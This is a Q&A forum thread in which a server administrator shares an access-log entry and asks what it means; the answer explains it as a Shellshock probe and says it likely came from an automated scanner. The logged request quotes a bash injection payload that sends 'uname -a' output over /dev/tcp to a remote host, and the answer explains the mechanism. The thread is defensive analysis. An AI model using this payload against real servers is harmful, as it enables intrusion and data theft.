I just came across this entry on one of my servers: - - [17/Jun/2015:01:58:22 +0200] "GET / HTTP/1.1" 404 442 "() { :;}; /bin/bash -c \"echo  > /dev/tcp/; /bin/uname -a > /dev/tcp/; echo > /dev/udp/\"" "() { :;}; /bin/bash
-c \"echo  > /dev/tcp/; /bin/uname -a > /dev/tcp/; echo > /dev/udp/\""

So besides the shell injection which was used, I dont have a idea what attacker tried to do.

Any idea?


1 Answer 1

  1. As in the first line is it visible, he tried to use the Shellshock security hole of the bash shell.

His idea was probably the following: the Shellschock works by evironment variables, i.e. in some cases the bash would execute an environment variable as a shell function. And apache maps the parameters of the http requests (cookies, query strings, posted arguments, etc) to environment variables.

If there had been a cgi script on your server written in bash and interpreted by an unfixed bash shell, his commands could have been executed.

  1. Later he tried to execute different shell commands. These commands had sent their output on tcp or udp protocol to a server under his control. It is because bash has an internal redirection mechanism to tcp and udp data streams, i.e. files beginning with /dev/tcp/ip/port are mapped to network sockets. It is an internal mechanism of the bash shell.

  2. It was probably not a direct, manual attack, but a robot tracking for vulnerable servers.

  3. The IP addresses he used are probably not his original server(s), but the ones he can already control remotely.

  • 1
    Note that the "404" response means that it didn't work.
    – Mark
    Jun 17, 2015 at 6:43
  • @Mark Yes, although maybe the were other tries, too, so checking the logs could be a good idea.
    – peterh
    Jun 17, 2015 at 6:56
  • Thanks, I was aware of the shellshock and saw that it has not work. (2) was the answer I needed, I was not aware that it would work that way via shell :-) Thanks Jun 17, 2015 at 6:58

Not the answer you're looking for? Browse other questions tagged .